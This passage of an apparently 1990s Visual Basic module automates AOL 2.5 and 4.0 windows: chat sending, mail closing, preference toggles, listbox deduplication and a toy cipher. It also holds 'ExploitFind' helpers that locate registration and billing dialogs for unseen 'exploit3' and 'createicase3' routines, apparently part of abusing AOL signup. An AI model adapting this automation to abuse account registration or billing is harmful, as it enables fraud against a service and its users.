If InStr(1, ciString$, "not currently signed on") <> 0& Then
CheckIMs25 = False
ElseIf InStr(1, ciString$, "is online and able to receive Instant Messages") <> 0& Then
CheckIMs25 = True
ElseIf InStr(1, ciString$, "cannot currently receive Instant Messages") <> 0& Then
CheckIMs25 = False
End If
End Function
Public Sub ClearChat()
'clears aol's chat text window
Dim rWin As Long, rCNTL As Long, rText As String, rString As String
rWin& = FindRoom&
If rWin& = 0& Then Exit Sub
rCNTL& = FindWindowEx(rWin&, 0&, "RICHCNTL", vbNullString)
Call SendMessageByString(rCNTL&, WM_SETTEXT, 0&, "")
End Sub
Public Sub ClearChat25()
'clears aol's chat text window
Dim rWin As Long, rView As Long, rText As String, rString As String
rWin& = FindRoom25&
If rWin& = 0& Then Exit Sub
rView& = FindWindowEx(rWin&, 0&, "_AOL_View", vbNullString)
Call SendMessageByString(rView&, WM_SETTEXT, 0&, "")
End Sub
Public Sub clone_About()
'the "Clone" subs are made
'for aol 4.0 and aol 2.5
'they does not 'clone' aol,
'but aol WILL let you load
'4.0 and 2.5 at the same time
'[load 4.0 first, then load 2.5]
'
'all the clone_ subs w/ '25' at the
'end of them are for aol 2.5
'
'and all the other clone_ subs
'are made for aol 4.0
'
'i hope that explains it
'
'example:
'Call clone_chatsend("what's up?") 'sends on 4.0
'call clone_chatsend("not much") 'sends on 2.5
'
'you HAVE to have aol 4.0 AND 2.5
'loaded for this to work!
End Sub
Public Sub clone_ChatSend(Text As String)
'sends text to aol 4.0
Dim rWin As Long, rRich As Long, rText As String
Dim WaitSend As String
If FindRoom& = 0& Or Text$ = "" Then Exit Sub
rWin& = clone_FindRoom&
rRich& = FindWindowEx(rWin&, 0&, "RICHCNTL", vbNullString)
rRich& = FindWindowEx(rWin&, rRich&, "RICHCNTL", vbNullString)
rText$ = GetText(rRich&)
Call SendMessageByString(rRich&, WM_SETTEXT, 0&, "")
Call SendMessageByString(rRich&, WM_SETTEXT, 0&, Text$)
Do
DoEvents
Call SendMessageLong(rRich&, WM_CHAR, ENTER_KEY, 0&)
WaitSend$ = GetText(rRich&)
Loop Until WaitSend$ = ""
Call SendMessageByString(rRich&, WM_SETTEXT, 0&, rText$)
End Sub
Public Sub Clone_ChatSend25(Text As String)
'sends text to aol 2.5
Dim rWin As Long, rString As String, rEdit As Long
rWin& = Clone_FindRoom25
If rWin& = 0& Or Text$ = "" Then Exit Sub
rEdit& = FindWindowEx(rWin&, 0&, "_AOL_Edit", vbNullString)
rString$ = GetText(rEdit&)
Call SendMessageByString(rEdit&, WM_SETTEXT, 0&, Text$)
Call SendMessageLong(rEdit&, WM_CHAR, ENTER_KEY, 0&)
Call SendMessageByString(rEdit&, WM_SETTEXT, 0&, rString$)
End Sub
Public Function clone_FindRoom() As Long
'finds room on aol 4.0
Dim aol As Long, mdi As Long, cWin As Long, cRich As Long
Dim cList As Long, cIcon As Long, cCombo As Long
aol& = FindAOL4
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
cWin& = FindWindowEx(mdi&, 0&, "AOL Child", vbNullString)
cRich& = FindWindowEx(cWin&, 0&, "RICHCNTL", vbNullString)
cList& = FindWindowEx(cWin&, 0&, "_AOL_Listbox", vbNullString)
cIcon& = FindWindowEx(cWin&, 0&, "_AOL_Icon", vbNullString)
cCombo& = FindWindowEx(cWin&, 0&, "_AOL_Combobox", vbNullString)
If cRich& <> 0& And cList& <> 0& And cIcon& <> 0& And cCombo& <> 0& And GetText(cWin&) <> "AOL Hotline" Then
clone_FindRoom& = cWin&
Exit Function
Else
Do
cWin& = FindWindowEx(mdi&, cWin&, "AOL Child", vbNullString)
cRich& = FindWindowEx(cWin&, 0&, "RICHCNTL", vbNullString)
cList& = FindWindowEx(cWin&, 0&, "_AOL_Listbox", vbNullString)
cIcon& = FindWindowEx(cWin&, 0&, "_AOL_Icon", vbNullString)
cCombo& = FindWindowEx(cWin&, 0&, "_AOL_Combobox", vbNullString)
If cRich& <> 0& And cList& <> 0& And cIcon& <> 0& And cCombo& <> 0& And GetText(cWin&) <> "AOL Hotline" Then
clone_FindRoom& = cWin&
Exit Function
End If
Loop Until cWin& = 0&
End If
clone_FindRoom& = cWin&
End Function
Public Function Clone_FindRoom25() As Long
'finds room on aol 2.5
Dim aol As Long, mdi As Long, cWin As Long, cView As Long
Dim cList As Long, cIcon As Long
aol& = FindAOL25
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
cWin& = FindWindowEx(mdi&, 0&, "AOL Child", vbNullString)
cView& = FindWindowEx(cWin&, 0&, "_AOL_View", vbNullString)
cList& = FindWindowEx(cWin&, 0&, "_AOL_Listbox", vbNullString)
cIcon& = FindWindowEx(cWin&, 0&, "_AOL_Icon", vbNullString)
If cView& <> 0& And cList& <> 0& And cIcon& <> 0& And GetText(cWin&) <> "AOL Hotline" Then
Clone_FindRoom25& = cWin&
Exit Function
Else
Do
cWin& = FindWindowEx(mdi&, cWin&, "AOL Child", vbNullString)
cView& = FindWindowEx(cWin&, 0&, "_AOL_View", vbNullString)
cList& = FindWindowEx(cWin&, 0&, "_AOL_Listbox", vbNullString)
cIcon& = FindWindowEx(cWin&, 0&, "_AOL_Icon", vbNullString)
If cView& <> 0& And cList& <> 0& And cIcon& <> 0& And GetText(cWin&) <> "AOL Hotline" Then
Clone_FindRoom25& = cWin&
Exit Function
End If
Loop Until cWin& = 0&
End If
Clone_FindRoom25& = cWin&
End Function
Public Sub CloseAddBuddy()
'closes the addbuddy window on your buddylist
Dim aol As Long, mdi As Long
Dim eblWin As Long, eIcon As Long
Dim nowin As Long, nobut As Long
pause (0.2)
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
eblWin& = FindEditBuddyList
eIcon& = FindWindowEx(eblWin&, 0&, "_AOL_Icon", vbNullString)
eIcon& = FindWindowEx(eblWin&, eIcon&, "_AOL_Icon", vbNullString)
eIcon& = FindWindowEx(eblWin&, eIcon&, "_AOL_Icon", vbNullString)
Call SendMessage(eIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(eIcon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
nowin& = FindWindow("#32770", "America Online")
nobut& = FindWindowEx(nowin&, 0&, "Button", "OK")
eblWin& = FindEditBuddyList
Loop Until nowin& <> 0& And nobut& <> 0& Or eblWin& = 0&
If eblWin& = 0& Then
pause (0.3)
nowin& = FindWindow("#32770", "America Online")
nobut& = FindWindowEx(nowin&, 0&, "Button", "OK")
End If
If nowin& <> 0& Then
Call PostMessage(nobut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(nobut&, WM_KEYUP, VK_SPACE, 0&)
End If
Call PostMessage(FindEditBuddyList, WM_CLOSE, 0&, 0&)
Call PostMessage(FindBuddyLists, WM_CLOSE, 0&, 0&)
End Sub
Public Sub CloseMail()
'closes mail..
'works well.
Dim aol As Long, mdi As Long
Dim mWin As Long, cWin As Long, cbut As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
mWin& = FindMail&
Call PostMessage(mWin&, WM_CLOSE, 0&, 0&)
Do
DoEvents
mWin& = FindMail&
cWin& = FindWindow("#32770", "America Online")
cbut& = FindWindowEx(cWin&, 0&, "Button", "&No")
Loop Until mWin& = 0& Or cWin& <> 0& And cbut& <> 0&
If cWin& <> 0& Then
Call PostMessage(cbut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(cbut&, WM_KEYUP, VK_SPACE, 0&)
End If
End Sub
Public Function DupeKill(list As ListBox) As Long
'dupekills a listbox
'this code was written entirely by me
'the dupekill sub is a function
'it returns the value of the number
'of dupes killed.
'example:
'lngDupe& = DupeKill(List1)
'Call MsgBox("" & lngDupe& & " dupes were killed.", vbInformation + vbOKOnly, "Dupe Kill")
Dim Amount As Long, Y As Long, X As Long
For Y = 0 To list.ListCount
For X = Y + 1 To list.ListCount '- Y + 1
If list.list(X) = list.list(Y) Then
list.RemoveItem (X)
Amount = Amount + 1
X = X - 1
End If
Next X
Next Y
DupeKill = Amount
End Function
Public Function DupeKill2Lists(ListA As ListBox, ListB As ListBox) As Long
'dupekills two listboxes
'this code was also written entirely by me
'the dupekill2lists sub is a function
'it returns the value of the number
'of dupes killed.
'example:
'lngDupe& = DupeKill2Lists(List1, List2)
'Call MsgBox("" & lngDupe& & " dupes were killed.", vbInformation + vbOKOnly, "Dupe Killing 2 Lists")
Dim Amount As Long, Y As Long, X As Long
For Y = 0 To ListA.ListCount
For X = Y + 1 To ListA.ListCount '- Y + 1
If ListA.list(X) = ListA.list(Y) Then
If ListB.list(Y) = ListB.list(X) Then
ListA.RemoveItem (X)
ListB.RemoveItem (X)
Amount& = Amount& + 1
X = X - 1
End If
End If
Next X
Next Y
DupeKill2Lists = Amount&
End Function
Public Function DupeKillCombo(Combo As ComboBox) As Long
'dupekills a combo
'this code was written entirely by me
'the dupekill sub is a function
'it returns the value of the number
'of dupes killed.
'example:
'lngDupe& = DupeKillCombo(Combo1)
'Call MsgBox("" & lngDupe& & " dupes were killed.", vbInformation + vbOKOnly, "Dupe Kill")
Dim Amount As Long, Y As Long, X As Long
For Y = 0 To Combo.ListCount
For X = Y + 1 To Combo.ListCount
If Combo.list(X) = Combo.list(Y) Then
Combo.RemoveItem (X)
Amount = Amount + 1
X = X - 1
End If
Next X
Next Y
DupeKillCombo = Amount
End Function
Public Sub EliteLoad(frm As Form)
'self explanatory
Dim MidScreen As Double
frm.Left = 1
MidScreen = (Screen.Width / 2) - (frm.Width / 2)
Do
DoEvents
frm.Left = frm.Left + ((MidScreen - frm.Left) / 10)
Loop Until frm.Left + 10 > MidScreen
frm.Left = (Screen.Width / 2) - (frm.Width / 2)
End Sub
Public Sub EliteUnload(frm As Form, Eliteness As Long)
'this only works if the form:
'has the 'control box' property set to false
'and the form does *NOT* have a caption
'the smaller the "eliteness" property...
'the faster the form shrinks,
'and vice versa.
Call FormCircle(frm, 25&)
frm.Refresh
Do
'DoEvents
frm.Width = frm.Width - (frm.Width / Eliteness&)
frm.Left = frm.Left + ((frm.Width / Eliteness&) / 2&)
frm.Height = frm.Height - (frm.Height / Eliteness&)
frm.Top = frm.Top + ((frm.Height / Eliteness&) / 2&)
Loop Until frm.Height <= 120& Or frm.Width <= 120&
frm.Hide
End Sub
Public Sub EliteUnload2(frm As Form)
'very similar to stolen acct2's unload..
Do
If frm.Left > 0& Then
frm.Left = frm.Left - 300&
End If
If frm.Top + frm.Height < Screen.Height Then
frm.Top = frm.Top + 300&
End If
If frm.Left < 0& Then frm.Left = 0&
If frm.Top + frm.Height > Screen.Height Then frm.Top = Screen.Height - frm.Height
Loop Until frm.Left = 0& And frm.Top + frm.Height = Screen.Height
Do
If frm.Top > 0& Then
frm.Top = frm.Top - 300&
End If
If frm.Top < 0& Then
frm.Top = 0&
End If
Loop Until frm.Top <= 0&
Do
If frm.Left + frm.Width <= Screen.Width Then
frm.Left = frm.Left + 500&
End If
If frm.Left + frm.Width > Screen.Width Then
frm.Left = Screen.Width + frm.Width
End If
Loop Until frm.Left >= Screen.Width
End Sub
Public Sub EliteUnload3(frm As Form)
'self explanatory
Dim Distance As Long
Do
DoEvents
frm.Left = frm.Left + Distance
Distance& = Distance& + 5
Loop Until frm.Left > Screen.Width
End Sub
Public Function Encrypt(Text As String) As String
'encrypts / decrypts text
'you can use it back to back..
'whatever it encrypts to, can also be used to decrypt
'if you're confused, just try it out
Dim e As Long, eChr As String, eFull As String
Text$ = LCase(Text$)
For e = 1 To Len(Text$)
eChr$ = Mid(Text$, e, 1)
If eChr$ = "a" Then
eChr$ = "9"
ElseIf eChr$ = "b" Then
eChr$ = "0"
ElseIf eChr$ = "c" Then
eChr$ = "`"
ElseIf eChr$ = "d" Then
eChr$ = "~"
ElseIf eChr$ = "e" Then
eChr$ = "!"
ElseIf eChr$ = "f" Then
eChr$ = "@"
ElseIf eChr$ = "g" Then
eChr$ = "#"
ElseIf eChr$ = "h" Then
eChr$ = "$"
ElseIf eChr$ = "i" Then
eChr$ = "%"
ElseIf eChr$ = "j" Then
eChr$ = "^"
ElseIf eChr$ = "k" Then
eChr$ = "&"
ElseIf eChr$ = "l" Then
eChr$ = "*"
ElseIf eChr$ = "m" Then
eChr$ = "("
ElseIf eChr$ = "n" Then
eChr$ = ")"
ElseIf eChr$ = "o" Then
eChr$ = "."
ElseIf eChr$ = "p" Then
eChr$ = ","
ElseIf eChr$ = "q" Then
eChr$ = "?"
ElseIf eChr$ = "r" Then
eChr$ = "/"
ElseIf eChr$ = "s" Then
eChr$ = "<"
ElseIf eChr$ = "t" Then
eChr$ = ">"
ElseIf eChr$ = "u" Then
eChr$ = "_"
ElseIf eChr$ = "v" Then
eChr$ = "-"
ElseIf eChr$ = "w" Then
eChr$ = "="
ElseIf eChr$ = "x" Then
eChr$ = "+"
ElseIf eChr$ = "y" Then
eChr$ = "["
ElseIf eChr$ = "z" Then
eChr$ = "]"
ElseIf eChr$ = "1" Then
eChr$ = "{"
ElseIf eChr$ = "2" Then
eChr$ = "}"
ElseIf eChr$ = "3" Then
eChr$ = "\"
ElseIf eChr$ = "4" Then
eChr$ = "|"
ElseIf eChr$ = "5" Then
eChr$ = ";"
ElseIf eChr$ = "6" Then
eChr$ = ":"
ElseIf eChr$ = "7" Then
eChr$ = "'"
ElseIf eChr$ = "8" Then
eChr$ = "" + Chr(34)
ElseIf eChr$ = "9" Then
eChr$ = "a"
ElseIf eChr$ = "0" Then
eChr$ = "b"
ElseIf eChr$ = "`" Then
eChr$ = "c"
ElseIf eChr$ = "~" Then
eChr$ = "d"
ElseIf eChr$ = "!" Then
eChr$ = "e"
ElseIf eChr$ = "@" Then
eChr$ = "f"
ElseIf eChr$ = "#" Then
eChr$ = "g"
ElseIf eChr$ = "$" Then
eChr$ = "h"
ElseIf eChr$ = "%" Then
eChr$ = "i"
ElseIf eChr$ = "^" Then
eChr$ = "j"
ElseIf eChr$ = "&" Then
eChr$ = "k"
ElseIf eChr$ = "*" Then
eChr$ = "l"
ElseIf eChr$ = "(" Then
eChr$ = "m"
ElseIf eChr$ = ")" Then
eChr$ = "n" '12
ElseIf eChr$ = "," Then
eChr$ = "p"
ElseIf eChr$ = "." Then
eChr$ = "o"
ElseIf eChr$ = "?" Then
eChr$ = "q"
ElseIf eChr$ = "/" Then
eChr$ = "r"
ElseIf eChr$ = "<" Then
eChr$ = "s"
ElseIf eChr$ = ">" Then
eChr$ = "t" '18
ElseIf eChr$ = "_" Then
eChr$ = "u"
ElseIf eChr$ = "-" Then
eChr$ = "v"
ElseIf eChr$ = "=" Then
eChr$ = "w"
ElseIf eChr$ = "+" Then
eChr$ = "x" '22
ElseIf eChr$ = "[" Then
eChr$ = "y"
ElseIf eChr$ = "]" Then
eChr$ = "z"
ElseIf eChr$ = "{" Then
eChr$ = "1"
ElseIf eChr$ = "}" Then
eChr$ = "2"
ElseIf eChr$ = "\" Then
eChr$ = "3"
ElseIf eChr$ = "|" Then
eChr$ = "4" '28
ElseIf eChr$ = ";" Then
eChr$ = "5"
ElseIf eChr$ = ":" Then
eChr$ = "6"
ElseIf eChr$ = "'" Then
eChr$ = "7"
ElseIf eChr$ = "" + Chr(34) Then
eChr$ = "8" '32
End If
eFull$ = eFull$ + eChr$
'68
Next e
Encrypt$ = eFull$
End Function
Public Sub EventSoundsOff()
'turns event sounds off using aol's preferences
'aka: im sounds, gotmail, welcome, goodbye, etc..
Dim aol As Long, mdi As Long, PrefWin As Long, PrefButton As Long
Dim moda As Long, CheckA As Long, CheckR As Long, OKButt As Long
If AOLVersion = "3" Or AOLVersion = "2.5" Then
Call EventSoundsOff25
Exit Sub
End If
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
Call OpenPrefs
Do
DoEvents
PrefWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Preferences")
PrefButton& = FindWindowEx(PrefWin&, 0&, "_AOL_Icon", vbNullString)
Loop Until PrefWin& <> 0& And PrefButton& <> 0&
Call PostMessage(PrefButton&, WM_LBUTTONDOWN, 0&, 0&)
Call PostMessage(PrefButton&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
moda& = FindWindow("_AOL_Modal", "General Preferences")
CheckA& = FindWindowEx(moda&, 0&, "_AOL_Checkbox", vbNullString)
CheckA& = FindWindowEx(moda&, CheckA&, "_AOL_Checkbox", vbNullString)
CheckA& = FindWindowEx(moda&, CheckA&, "_AOL_Checkbox", vbNullString)
CheckA& = FindWindowEx(moda&, CheckA&, "_AOL_Checkbox", vbNullString)
CheckA& = FindWindowEx(moda&, CheckA&, "_AOL_Checkbox", vbNullString)
CheckA& = FindWindowEx(moda&, CheckA&, "_AOL_Checkbox", vbNullString)
CheckA& = FindWindowEx(moda&, CheckA&, "_AOL_Checkbox", vbNullString)
OKButt& = FindWindowEx(moda&, 0&, "_AOL_Icon", vbNullString)
Loop Until moda& <> 0& And CheckA& <> 0& And OKButt& <> 0&
CheckR& = SendMessage(CheckA&, BM_GETCHECK, 0&, 0&)
If CheckR = 1& Then
Do
DoEvents
Call SendMessage(CheckA&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(CheckA&, WM_LBUTTONUP, 0&, 0&)
CheckR& = SendMessage(CheckA&, BM_GETCHECK, 0&, 0&)
Loop Until CheckR& = 0
End If
Call PostMessage(OKButt&, WM_LBUTTONDOWN, 0&, 0&)
Call PostMessage(OKButt&, WM_LBUTTONUP, 0&, 0&)
Call PostMessage(PrefWin&, WM_CLOSE, 0&, 0&)
End Sub
Public Function EventSoundsOff25()
'turns event sounds off using aol's preferences
'aka: im sounds, gotmail, welcome, goodbye, etc..
Dim aol As Long, mdi As Long, pWin As Long, pButton As Long
Dim gpWin As Long, gpCheck As Long, gpButton As Long, gpCheckState As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
Call RunMenuByString("preferences")
Do
DoEvents
pWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Preferences")
pButton& = FindWindowEx(pWin&, 0&, "_AOL_Icon", vbNullString)
If AOLVersion = "3" Then
pButton& = FindWindowEx(pWin&, pButton&, "_AOL_Icon", vbNullString)
pButton& = FindWindowEx(pWin&, pButton&, "_AOL_Icon", vbNullString)
End If
Loop Until pWin& <> 0& And pButton& <> 0&
Call PostMessage(pButton&, WM_LBUTTONDOWN, 0&, 0&)
Call PostMessage(pButton&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
gpWin& = FindWindow("_AOL_Modal", "General Preferences")
gpCheck& = FindWindowEx(gpWin&, 0&, "_AOL_Button", "Enable event sounds")
gpButton& = FindWindowEx(gpWin&, 0&, "_AOL_Button", "OK")
Loop Until gpWin& <> 0& And gpCheck& <> 0& And gpButton& <> 0&
gpCheckState& = SendMessage(gpCheck&, BM_GETCHECK, 0&, 0&)
If gpCheckState& = 1& Then
Call SendMessage(gpCheck&, WM_KEYDOWN, VK_SPACE, 0&)
Call SendMessage(gpCheck&, WM_KEYUP, VK_SPACE, 0&)
End If
Call PostMessage(gpButton&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(gpButton&, WM_KEYUP, VK_SPACE, 0&)
Call PostMessage(pWin&, WM_CLOSE, 0&, 0&)
End Function
Public Sub EventSoundsOn()
'turns event sounds on using aol's preferences
'aka: im sounds, gotmail, welcome, goodbye, etc..
Dim aol As Long, mdi As Long, PrefWin As Long, PrefButton As Long
Dim moda As Long, CheckA As Long, CheckR As Long, OKButt As Long
If AOLVersion = "3" Or AOLVersion = "2.5" Then
Call EventSoundsOn25
Exit Sub
End If
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
Call OpenPrefs
Do
DoEvents
PrefWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Preferences")
PrefButton& = FindWindowEx(PrefWin&, 0&, "_AOL_Icon", vbNullString)
Loop Until PrefWin& <> 0& And PrefButton& <> 0&
Call PostMessage(PrefButton&, WM_LBUTTONDOWN, 0&, 0&)
Call PostMessage(PrefButton&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
moda& = FindWindow("_AOL_Modal", "General Preferences")
CheckA& = FindWindowEx(moda&, 0&, "_AOL_Checkbox", vbNullString)
CheckA& = FindWindowEx(moda&, CheckA&, "_AOL_Checkbox", vbNullString)
CheckA& = FindWindowEx(moda&, CheckA&, "_AOL_Checkbox", vbNullString)
CheckA& = FindWindowEx(moda&, CheckA&, "_AOL_Checkbox", vbNullString)
CheckA& = FindWindowEx(moda&, CheckA&, "_AOL_Checkbox", vbNullString)
CheckA& = FindWindowEx(moda&, CheckA&, "_AOL_Checkbox", vbNullString)
CheckA& = FindWindowEx(moda&, CheckA&, "_AOL_Checkbox", vbNullString)
OKButt& = FindWindowEx(moda&, 0&, "_AOL_Icon", vbNullString)
Loop Until moda& <> 0& And CheckA& <> 0& And OKButt& <> 0&
CheckR& = SendMessage(CheckA&, BM_GETCHECK, 0&, 0&)
If CheckR = 0& Then
Do
DoEvents
Call SendMessage(CheckA&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(CheckA&, WM_LBUTTONUP, 0&, 0&)
CheckR& = SendMessage(CheckA&, BM_GETCHECK, 0&, 0&)
Loop Until CheckR& = 1
End If
Call PostMessage(OKButt&, WM_LBUTTONDOWN, 0&, 0&)
Call PostMessage(OKButt&, WM_LBUTTONUP, 0&, 0&)
Call PostMessage(PrefWin&, WM_CLOSE, 0&, 0&)
End Sub
Public Function EventSoundsOn25()
'turns event sounds off using aol's preferences
'aka: im sounds, gotmail, welcome, goodbye, etc..
Dim aol As Long, mdi As Long, pWin As Long, pButton As Long
Dim gpWin As Long, gpCheck As Long, gpButton As Long, gpCheckState As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
Call RunMenuByString("preferences")
Do
DoEvents
pWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Preferences")
pButton& = FindWindowEx(pWin&, 0&, "_AOL_Icon", vbNullString)
If AOLVersion = "3" Then
pButton& = FindWindowEx(pWin&, pButton&, "_AOL_Icon", vbNullString)
pButton& = FindWindowEx(pWin&, pButton&, "_AOL_Icon", vbNullString)
End If
Loop Until pWin& <> 0& And pButton& <> 0&
Call PostMessage(pButton&, WM_LBUTTONDOWN, 0&, 0&)
Call PostMessage(pButton&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
gpWin& = FindWindow("_AOL_Modal", "General Preferences")
gpCheck& = FindWindowEx(gpWin&, 0&, "_AOL_Button", "Enable event sounds")
gpButton& = FindWindowEx(gpWin&, 0&, "_AOL_Button", "OK")
Loop Until gpWin& <> 0& And gpCheck& <> 0& And gpButton& <> 0&
gpCheckState& = SendMessage(gpCheck&, BM_GETCHECK, 0&, 0&)
If gpCheckState& <> 1& Then
Call SendMessage(gpCheck&, WM_KEYDOWN, VK_SPACE, 0&)
Call SendMessage(gpCheck&, WM_KEYUP, VK_SPACE, 0&)
End If
Call PostMessage(gpButton&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(gpButton&, WM_KEYUP, VK_SPACE, 0&)
Call PostMessage(pWin&, WM_CLOSE, 0&, 0&)
End Function
Public Function ExploitCancel1() As Long
'this function helps find
'1 of the modals in the
'"createicase3" and "exploit3"
'functions
Dim child As Long, aolstatic As Long
child& = FindWindow("_AOL_Modal", vbNullString)
aolstatic& = FindWindowEx(child&, 0&, "_AOL_Static", vbNullString)
If aolstatic& <> 0& And InStr(1, LCase(GetText(aolstatic&)), "are you sure you want to cancel your registration?") <> 0& Then
ExploitCancel1& = child&
Exit Function
Else
Do
child& = FindWindowEx(0&, child&, "_AOL_Modal", vbNullString)
aolstatic& = FindWindowEx(child&, 0&, "_AOL_Static", vbNullString)
If aolstatic& <> 0& And InStr(1, LCase(GetText(aolstatic&)), "are you sure you want to cancel your registration?") <> 0& Then
ExploitCancel1& = child&
Exit Function
End If
Loop Until child& = 0&
End If
ExploitCancel1& = child&
End Function
Public Function ExploitCancel2() As Long
'this function helps find
'1 of the modals in the
'"createicase3" and "exploit3"
'functions
Dim child As Long, aolstatic As Long
child& = FindWindow("_AOL_Modal", vbNullString)
aolstatic& = FindWindowEx(child&, 0&, "_AOL_Static", vbNullString)
If aolstatic& <> 0& And InStr(1, LCase(GetText(aolstatic&)), "thanks for trying!") <> 0& Then
ExploitCancel2& = child&
Exit Function
Else
Do
child& = FindWindowEx(0&, child&, "_AOL_Modal", vbNullString)
aolstatic& = FindWindowEx(child&, 0&, "_AOL_Static", vbNullString)
If aolstatic& <> 0& And InStr(1, LCase(GetText(aolstatic&)), "thanks for trying!") <> 0& Then
ExploitCancel2& = child&
Exit Function
End If
Loop Until child& = 0&
End If
ExploitCancel2& = child&
End Function
Public Function ExploitFind1() As Long
'this function helps find
'1 of the modals in the
'"createicase3" and "exploit3"
'functions
Dim child As Long, aolstatic As Long
child& = FindWindow("_AOL_Modal", vbNullString)
aolstatic& = FindWindowEx(child&, 0&, "_AOL_Static", vbNullString)
If aolstatic& <> 0& And InStr(1, LCase(GetText(aolstatic&)), "welcome to america online") <> 0& Then
ExploitFind1& = child&
Exit Function
Else
Do
child& = FindWindowEx(0&, child&, "_AOL_Modal", vbNullString)
aolstatic& = FindWindowEx(child&, 0&, "_AOL_Static", vbNullString)
If aolstatic& <> 0& And InStr(1, LCase(GetText(aolstatic&)), "welcome to america online") <> 0& Then
ExploitFind1& = child&
Exit Function
End If
Loop Until child& = 0&
End If
ExploitFind1& = child&
End Function
Public Function ExploitFind2() As Long
'this function helps find
'1 of the modals in the
'"createicase3" and "exploit3"
'functions
Dim child As Long, aolstatic As Long
child& = FindWindow("_AOL_Modal", vbNullString)
aolstatic& = FindWindowEx(child&, 0&, "_AOL_Static", vbNullString)
If aolstatic& <> 0& And InStr(1, LCase(GetText(aolstatic&)), "your aol instant messenger screen name") <> 0& Then
ExploitFind2& = child&
Exit Function
Else
Do
child& = FindWindowEx(0&, child&, "_AOL_Modal", vbNullString)
aolstatic& = FindWindowEx(child&, 0&, "_AOL_Static", vbNullString)
If aolstatic& <> 0& And InStr(1, LCase(GetText(aolstatic&)), "your aol instant messenger screen name") <> 0& Then
ExploitFind2& = child&
Exit Function
End If
Loop Until child& = 0&
End If
ExploitFind2& = child&
End Function
Public Function ExploitFind3() As Long
'this function helps find
'1 of the modals in the
'"createicase3" and "exploit3"
'functions
Dim child As Long, aolstatic As Long
child& = FindWindow("_AOL_Modal", vbNullString)
aolstatic& = FindWindowEx(child&, 0&, "_AOL_Static", vbNullString)
aolstatic& = FindWindowEx(child&, aolstatic&, "_AOL_Static", vbNullString)
If aolstatic& <> 0& And InStr(1, LCase(GetText(aolstatic&)), "registration information") <> 0& Then
ExploitFind3& = child&
Exit Function
Else
Do
child& = FindWindowEx(0&, child&, "_AOL_Modal", vbNullString)
aolstatic& = FindWindowEx(child&, 0&, "_AOL_Static", vbNullString)
aolstatic& = FindWindowEx(child&, aolstatic&, "_AOL_Static", vbNullString)
If aolstatic& <> 0& And InStr(1, LCase(GetText(aolstatic&)), "registration information") <> 0& Then
ExploitFind3& = child&
Exit Function
End If
Loop Until child& = 0&
End If
ExploitFind3& = child&
End Function
Public Function ExploitFind4() As Long
'this function helps find
'1 of the modals in the
'"createicase3" and "exploit3"
'functions
Dim child As Long, aolstatic As Long
child& = FindWindow("_AOL_Modal", vbNullString)
aolstatic& = FindWindowEx(child&, 0&, "_AOL_Static", vbNullString)
If aolstatic& <> 0& And InStr(1, LCase(GetText(aolstatic&)), "how your aol membership works") <> 0& Then
ExploitFind4& = child&
Exit Function
Else
Do
child& = FindWindowEx(0&, child&, "_AOL_Modal", vbNullString)
aolstatic& = FindWindowEx(child&, 0&, "_AOL_Static", vbNullString)
If aolstatic& <> 0& And InStr(1, LCase(GetText(aolstatic&)), "how your aol membership works") <> 0& Then
ExploitFind4& = child&
Exit Function
End If
Loop Until child& = 0&
End If
ExploitFind4& = child&
End Function
Public Function ExploitFind5() As Long
'this function helps find
'1 of the modals in the
'"createicase3" and "exploit3"
'functions
Dim child As Long, aolstatic As Long
child& = FindWindow("_AOL_Modal", vbNullString)
aolstatic& = FindWindowEx(child&, 0&, "_AOL_Static", vbNullString)
If aolstatic& <> 0& And InStr(1, LCase(GetText(aolstatic&)), "billing method") <> 0& Then
ExploitFind5& = child&
Exit Function
Else
Do
child& = FindWindowEx(0&, child&, "_AOL_Modal", vbNullString)
aolstatic& = FindWindowEx(child&, 0&, "_AOL_Static", vbNullString)
If aolstatic& <> 0& And InStr(1, LCase(GetText(aolstatic&)), "billing method") <> 0& Then
ExploitFind5& = child&
Exit Function
End If
Loop Until child& = 0&
End If
ExploitFind5& = child&
End Function
Public Function ExploitFind6() As Long
'this function helps find
'1 of the modals in the
'"createicase3" and "exploit3"
'functions
Dim child As Long, aolstatic As Long
child& = FindWindow("_AOL_Modal", vbNullString)
aolstatic& = FindWindowEx(child&, 0&, "_AOL_Static", vbNullString)
If aolstatic& <> 0& And InStr(1, LCase(GetText(aolstatic&)), "billing information") <> 0& Then
ExploitFind6& = child&
Exit Function
Else
Do
child& = FindWindowEx(0&, child&, "_AOL_Modal", vbNullString)
aolstatic& = FindWindowEx(child&, 0&, "_AOL_Static", vbNullString)
If aolstatic& <> 0& And InStr(1, LCase(GetText(aolstatic&)), "billing information") <> 0& Then
ExploitFind6& = child&
Exit Function
End If
Loop Until child& = 0&
End If
ExploitFind6& = child&
End Function
Public Function ExploitFindConditions() As Long
'this function helps find
'1 of the modals in the
